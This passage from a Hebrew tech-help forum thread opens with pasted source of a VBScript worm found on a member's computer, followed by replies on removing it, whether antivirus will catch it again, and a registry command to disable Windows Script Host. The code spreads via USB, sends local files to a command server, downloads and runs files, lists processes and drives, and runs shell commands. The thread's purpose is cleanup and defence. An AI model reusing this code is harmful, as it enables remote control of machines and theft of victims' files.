                         if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
                            usbspreading = "true - " & date
                            shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                         else
                            usbspreading = "false - " & date
                            shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                      
                         end if
                      end If
                      
                      
                      upstart
                      set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
                      set installfullnameshort =  filesystemobj.getfile (installdir & installname)
                      if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
                          shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
                          wscript.quit 
                      end If
                      err.clear
                      set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
                      if  err.number > 0 then wscript.quit
                      end function
                      
                      sub sitedownloader (fileurl,filename)
                      
                      strlink = fileurl
                      strsaveto = installdir & filename
                      set objhttpdownload = createobject("msxml2.xmlhttp" )
                      objhttpdownload.open "get", strlink, false
                      objhttpdownload.send
                      
                      set objfsodownload = createobject ("scripting.filesystemobject")
                      if  objfsodownload.fileexists (strsaveto) then
                          objfsodownload.deletefile (strsaveto)
                      end if
                       
                      if objhttpdownload.status = 200 then
                         dim  objstreamdownload
                         set  objstreamdownload = createobject("adodb.stream")
                         with objstreamdownload
                              .type = 1 
                              .open
                              .write objhttpdownload.responsebody
                              .savetofile strsaveto
                              .close
                         end with
                         set objstreamdownload = nothing
                      end if
                      if objfsodownload.fileexists(strsaveto) then
                         shellobj.run objfsodownload.getfile (strsaveto).shortpath
                      end if 
                      end sub
                      
                      sub download (fileurl,filedir)
                      
                      if filedir = "" then 
                         filedir = installdir
                      end if
                      
                      strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
                      set objhttpdownload = createobject("msxml2.xmlhttp")
                      objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
                      objhttpdownload.send ""
                           
                      set objfsodownload = createobject ("scripting.filesystemobject")
                      if  objfsodownload.fileexists (strsaveto) then
                          objfsodownload.deletefile (strsaveto)
                      end if
                      if  objhttpdownload.status = 200 then
                          dim  objstreamdownload
                          set  objstreamdownload = createobject("adodb.stream")
                          with objstreamdownload 
                               .type = 1 
                               .open
                               .write objhttpdownload.responsebody
                               .savetofile strsaveto
                               .close
                          end with
                          set objstreamdownload  = nothing
                      end if
                      if objfsodownload.fileexists(strsaveto) then
                         shellobj.run objfsodownload.getfile (strsaveto).shortpath
                      end if 
                      end sub
                      
                      function upload (fileurl)
                      
                      dim  httpobj,objstreamuploade,buffer
                      set  objstreamuploade = createobject("adodb.stream")
                      with objstreamuploade 
                           .type = 1 
                           .open
                           .loadfromfile fileurl
                           buffer = .read
                           .close
                      end with
                      set objstreamdownload = nothing
                      set httpobj = createobject("msxml2.xmlhttp")
                      httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
                      httpobj.send buffer
                      end function
                      
                      function enumdriver ()
                      
                      for  each drive in filesystemobj.drives
                      if   drive.isready = true then
                           enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
                      end if
                      next
                      end Function
                      
                      function enumfaf (enumdir)
                      
                      enumfaf = enumdir & spliter
                      for  each folder in filesystemobj.getfolder (enumdir).subfolders
                           enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
                      next
                      
                      for  each file in filesystemobj.getfolder (enumdir).files
                           enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
                      
                      next
                      end function
                      
                      function enumprocess ()
                      
                      on error resume next
                      
                      set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
                      set colitems = objwmiservice.execquery("select * from win32_process",,48)
                      
                      dim objitem
                      for each objitem in colitems
                          enumprocess = enumprocess & objitem.name & "|"
                          enumprocess = enumprocess & objitem.processid & "|"
                          enumprocess = enumprocess & objitem.executablepath & spliter
                      next
                      end function
                      
                      sub exitprocess (pid)
                      on error resume next
                      
                      shellobj.run "taskkill /F /T /PID " & pid,7,true
                      end sub
                      
                      sub deletefaf (url)
                      on error resume next
                      
                      filesystemobj.deletefile url
                      filesystemobj.deletefolder url
                      
                      end sub
                      
                      function cmdshell (cmd)
                      
                      dim httpobj,oexec,readallfromany
                      
                      set oexec = shellobj.exec ("%comspec% /c " & cmd)
                      if not oexec.stdout.atendofstream then
                         readallfromany = oexec.stdout.readall
                      elseif not oexec.stderr.atendofstream then
                         readallfromany = oexec.stderr.readall
                      else 
                         readallfromany = ""
                      end if
                      
                      cmdshell = readallfromany
                      end function
                      
                      ת מנותק
                      ת מנותק
                      תלמידהון
                      כתב נערך לאחרונה על ידי
                      #18

                      @רנדומלי יש לך מה להפסיד מאיפוס מלא של המחשב?

                      תגובה 1 תגובה אחרונה
                      0
                      • ר רנדומלי

                        השאלה אם גם אנטיוירוס שהוא אופליין היה מזהה אותו.
                        מלבד זאת, אין על המחשב הזה עוד אנטיוירוס חוץ מדיפנדר (אבל אני מקפיד לעדכן אותו כל הזמן).

                        מה שעשיתי כרגע הוא להשבית את wcscript באמצעות מנהל המשימות, ולמחוק אותו ידנית מכל מפתחות הרג'יסטרי שמופיעים בקוד.

                        גם חיפשתי את שם הקובץ ב־everything ומחקתי את כל המופעים של הקובץ במחשב.

                        @cfopuser האם כשמשביתים אנטיוירוס ומפעילים תוכנה כלשהי, האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

                        מתכנת חובבמ מנותק
                        מתכנת חובבמ מנותק
                        מתכנת חובב
                        מדריכים
                        כתב נערך לאחרונה על ידי
                        #19

                        @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                        האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

                        היא עלולה לבצע דברים - החל מהחרגות ועד לזיהום של קבצי מערכת שימנעו זיהוי עתידי שלה

                        צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                        ר תגובה 1 תגובה אחרונה
                        1
                        • מתכנת חובבמ מתכנת חובב

                          @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                          האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

                          היא עלולה לבצע דברים - החל מהחרגות ועד לזיהום של קבצי מערכת שימנעו זיהוי עתידי שלה

                          ר מנותק
                          ר מנותק
                          רנדומלי
                          כתב נערך לאחרונה על ידי
                          #20

                          @מתכנת-חובב
                          השאלה היא אם הקוד הנוכחי אכן עושה זאת.
                          כי המחשב הזה לא היה מחובר לרשת מאז שהוא נדבק, ועל כן לא סביר שתוקף הריץ קוד נוסף שלא גלוי לנו.

                          @תלמידהון
                          כנראה שלא. אבל השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

                          ת מתכנת חובבמ 2 תגובות תגובה אחרונה
                          0
                          • ר רנדומלי

                            @מתכנת-חובב
                            השאלה היא אם הקוד הנוכחי אכן עושה זאת.
                            כי המחשב הזה לא היה מחובר לרשת מאז שהוא נדבק, ועל כן לא סביר שתוקף הריץ קוד נוסף שלא גלוי לנו.

                            @תלמידהון
                            כנראה שלא. אבל השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

                            ת מנותק
                            ת מנותק
                            תלמידהון
                            כתב נערך לאחרונה על ידי
                            #21

                            @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                            השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

                            אם יש לך אנטי וירוס מעודכן זה לא אמור לחזור

                            תגובה 1 תגובה אחרונה
                            1
                            • ר רנדומלי

                              @מתכנת-חובב
                              השאלה היא אם הקוד הנוכחי אכן עושה זאת.
                              כי המחשב הזה לא היה מחובר לרשת מאז שהוא נדבק, ועל כן לא סביר שתוקף הריץ קוד נוסף שלא גלוי לנו.

                              @תלמידהון
                              כנראה שלא. אבל השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

                              מתכנת חובבמ מנותק
                              מתכנת חובבמ מנותק
                              מתכנת חובב
                              מדריכים
                              כתב נערך לאחרונה על ידי מתכנת חובב
                              #22

                              @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                              השאלה היא אם הקוד הנוכחי אכן עושה זאת.

                              בזה ספציפית לא אבל כמובן שאם המחשב היה מחובר לאינטרנט אז אין לדעת
                              לכאורה סריקה עם אנטי וירוס טוב ועיקור של הוירוס יספיקו
                              תריץ את מה ששלחתי לך וזה יסיר אותו ואולי באמת להבא תשבית את wscript אבל לא יודע מה זה עלול לשבש במחשב הזה (קצת מוזר שהאנטי וירוס לא עלה על זה אם ב VT הוא כן מזהה אותו)

                              צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                              ר תגובה 1 תגובה אחרונה
                              0
                              • מתכנת חובבמ מתכנת חובב

                                @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                השאלה היא אם הקוד הנוכחי אכן עושה זאת.

                                בזה ספציפית לא אבל כמובן שאם המחשב היה מחובר לאינטרנט אז אין לדעת
                                לכאורה סריקה עם אנטי וירוס טוב ועיקור של הוירוס יספיקו
                                תריץ את מה ששלחתי לך וזה יסיר אותו ואולי באמת להבא תשבית את wscript אבל לא יודע מה זה עלול לשבש במחשב הזה (קצת מוזר שהאנטי וירוס לא עלה על זה אם ב VT הוא כן מזהה אותו)

                                ר מנותק
                                ר מנותק
                                רנדומלי
                                כתב נערך לאחרונה על ידי
                                #23

                                @מתכנת-חובב
                                תהיה מוכן להסביר לי איך אני מכבה VBS?

                                זה אכן יועיל לווירוס הספציפי הזה, אבל מה אם יבוא מחר ווירוס שמבוסס על CMD או PowerShell, או סתם EXE?

                                מתכנת חובבמ תגובה 1 תגובה אחרונה
                                0
                                • ר רנדומלי

                                  @מתכנת-חובב
                                  תהיה מוכן להסביר לי איך אני מכבה VBS?

                                  זה אכן יועיל לווירוס הספציפי הזה, אבל מה אם יבוא מחר ווירוס שמבוסס על CMD או PowerShell, או סתם EXE?

                                  מתכנת חובבמ מנותק
                                  מתכנת חובבמ מנותק
                                  מתכנת חובב
                                  מדריכים
                                  כתב נערך לאחרונה על ידי
                                  #24

                                  @רנדומלי תריץ את זה כמנהל

                                  reg add "HKLM\Software\Microsoft\Windows Script Host\Settings" /v Enabled /t REG_DWORD /d 0 /f
                                  

                                  צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                                  תגובה 1 תגובה אחרונה
                                  2

                                  • התחברות

                                  • אין לך חשבון עדיין? הרשמה

                                  • התחברו או הירשמו כדי לחפש.
                                  • פוסט ראשון
                                    פוסט אחרון
                                  0
                                  • חוקי הפורום
                                  • פופולרי
                                  • לא נפתר
                                  • משתמשים
                                  • חיפוש גוגל בפורום
                                  • צור קשר